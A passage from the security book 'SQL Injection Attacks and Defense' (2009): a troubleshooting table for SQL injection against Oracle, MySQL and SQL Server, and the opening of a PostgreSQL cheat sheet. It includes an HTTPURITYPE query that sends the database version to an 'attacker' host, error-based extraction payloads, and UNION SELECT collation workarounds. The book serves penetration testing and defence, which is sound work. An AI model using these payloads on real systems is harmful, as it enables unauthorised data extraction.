SQL Injection Attacks and Defense - 2009

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Table 10.20 Continued. Troubleshooting SQL Injection Reference References • Chapter 10 445 Error/Challenge Challenge Utl_http does not work because the public privilege was removed. Error Message ORA-00904 invalid identifier Challenge Utl_inaddr does not work. There could be various reasons, such as access control lists (ACLs) in Version 11, privileges have been revoked, and Java is not installed. Error Message ORA-00904 invalid identifier ORA-24247 network access denied by access control list ACL) – 11g ORA-29540 oracle/plsql/net/ InternetAddress Challenge You receive an “illegal mix of collations” message when performing a UNION SELECT attack against a MySQL database. Solution Many Oracle security guides recommend that the public privilege be removed from the utl_http package. However, many overlook the fact that the object type HTTPURITYPE can be used to achieve the same aim and is also accessible to public. SELECT HTTPURITYPE( 'http://attacker:1000/'|| (SELECT banner FROM v$version WHERE rownum=1)). getclob() FROM dual Use a different function where you can control the content of the error message. Here is a small list of candidates depending on the database version and its installed components: ORDER BY ORDSYS.ORD_DICOM.GETMAPPINGXPATH(( SELECT banner FROM v$version WHERE rownum=1),null,null) ORDER BY SYS.DBMS_AW_XML.READAWMETADATA(( SELECT banner FROM v$version WHERE rownum=1),null) ORDER BY CTXSYS.DRITHSX.SN((SELECT banner FROM v$version WHERE rownum=1),user) ORDER BY CTXSYS.CTX_REPORT.TOKEN_TYPE(user, (SELECT banner FROM v$version WHERE rownum=1)) This error can be overcome using the CAST function. For example: UNION SELECT user(),null,null; becomes: UNION SELECT CAST(user() AS char),null,null; Continued
446 Chapter 10 • References Table 10.20 Continued. Troubleshooting SQL Injection Reference Error/Challenge Error Message Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci, SYSCONST) for operation ‘UNION’ Challenge You receive a “collation conflict” message when performing a UNION SELECT attack against a Microsoft SQL Server database. Error Message Cannot resolve collation conflict for column 2 in SELECT statement. Solution One way to overcome this error is to read the Collation property from the database and then use it within the query. In the following example, we are performing a UNION ALL SELECT query to retrieve the name column from the sysobjects table. Step 1: Retrieve the collation value UNION ALL SELECT SERVERPROPERTY('Collation'),null FROM sysobjects In this example, the Collation property is set to SQL_Latin1_General_CP1_CI_AS. Step 2: Implement the collation value within the UNION SELECT UNION ALL SELECT 1,Name collate SQL_Latin1_General_CP1_CI_AS,null FROM sysobjects SQL Injection on Other Platforms This book focuses on the three most popular databases: Microsoft SQL Server, MySQL, and Oracle. This section is intended to provide a quick reference for other, less common platforms, such as PostgreSQL, DB2, Informix, and Ingres. PostgreSQL Cheat Sheet PostgreSQL is an open source database available for most operating system platforms. To download a comprehensive user manual visit www.postgresql.org/docs/manuals/.
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Justin Clarke Lead Author and Techn
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Lead Author and Technical Editor Ju
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exploiting, and correcting software
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Dafydd Stuttard is the author of th
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Contents Chapter 1 What Is SQL Inje
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Contents xi LAPSE. ................
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Contents xiii Generic MySQL Binary
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Contents xv Chapter 8 Code-Level De
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Contents xvii Increase the Verbosit
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Contents xix Ingres Cheat Sheet....
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Chapter 1 What Is SQL Injection? So
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What Is SQL Injection? • Chapter
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execute the query against the datab
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Incorrectly Handled Query Assembly
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} } reader = cmd.ExecuteReader(); r
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Chapter 2 Testing for SQL Injection
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Testing for SQL Injection • Chapt
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SELECT * FROM products WHERE idprod
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Figure 2.15 Exploitation Terminatin
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Time Delays Testing for SQL Injecti
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Summary Testing for SQL Injection
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Chapter 3 Reviewing Code for SQL In
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Reviewing Code for SQL Injection
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mssql_bind() − adds a parameter t
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OdbcCommand() − used to construct
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Reviewing PL/SQL and T-SQL Code Rev
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■■ ■■ ■■ ■■ URL: ht
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■■ ■■ Platform: Windows Pri
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Summary Reviewing Code for SQL Inje
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Frequently Asked Questions Reviewin
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Chapter 4 Exploiting SQL Injection
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Exploiting SQL Injection • Chapte
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Approach 3: Content-based Exploitin
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Error Messages in Oracle Exploiting
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MySQL Exploiting SQL Injection •
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Such a query will return output sim
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SELECT name,spare4 FROM sys.user$ w
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[+] Bruteforcing the sa password. T
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select user_name,web_password_raw f
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HTTP/DNS Exploiting SQL Injection
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Summary Exploiting SQL Injection
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Escalating Privileges Exploiting SQ
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Chapter 5 Blind SQL Injection Explo
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Blind SQL Injection Exploitation
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Common Blind SQL Injection Scenario
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1. Is the byte greater than 127? No
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Using Time-Based Techniques Blind S
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SELECT * FROM unknowntable UNION SE
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Figure 5.13 Extracting Database Log
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Summary Blind SQL Injection Exploit
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Chapter 6 Exploiting the Operating
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Exploiting the Operating System •
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[operating systems] multi(0)disk(0)
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Figure 6.13 Enabling CLR Integratio
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Oracle Exploiting the Operating Sys
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) c / ) ) ), bfilename('GETPWDIR',
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As expected, this creates sp.txt fi
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2 443 [+] Calling msfpayload3 to c
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DBMS_ADVISOR is probably the shorte
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EXECUTE IMMEDIATE q'!drop directory
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Microsoft SQL Server Exploiting the
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Figure 6.22 Creating an UNSAFE Bina
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Executing Operating System Commands
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Endnotes Exploiting the Operating S
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Chapter 7 Advanced Topics Solutions
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Using Case Variation Advanced Topic
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4. The application URL decodes the
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Advanced Topics • Chapter 7 323 D
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Advanced Topics • Chapter 7 325 I
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Advanced Topics • Chapter 7 329 N
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Advanced Topics • Chapter 7 333 1
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Using Hybrid Attacks Advanced Topic
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Exploiting Authenticated Vulnerabil
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Advanced Topics • Chapter 7 339
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Chapter 8 Code-Level Defenses Solut
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Code-Level Defenses • Chapter 8 3
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END; Execute immediate 'SELECT coun
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Validating Input in Java Code-Level
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UTL_SMTP.HELO(v_connection,'mailhos
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Summary Code-Level Defenses • Cha
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Chapter 9 Platform-Level Defenses S
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Platform-Level Defenses • Chapter
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Figure 9.3 Whitelist Rule to Patch
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Application Filters Platform-Level
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SQL Injection Attacks and Defense - 2009

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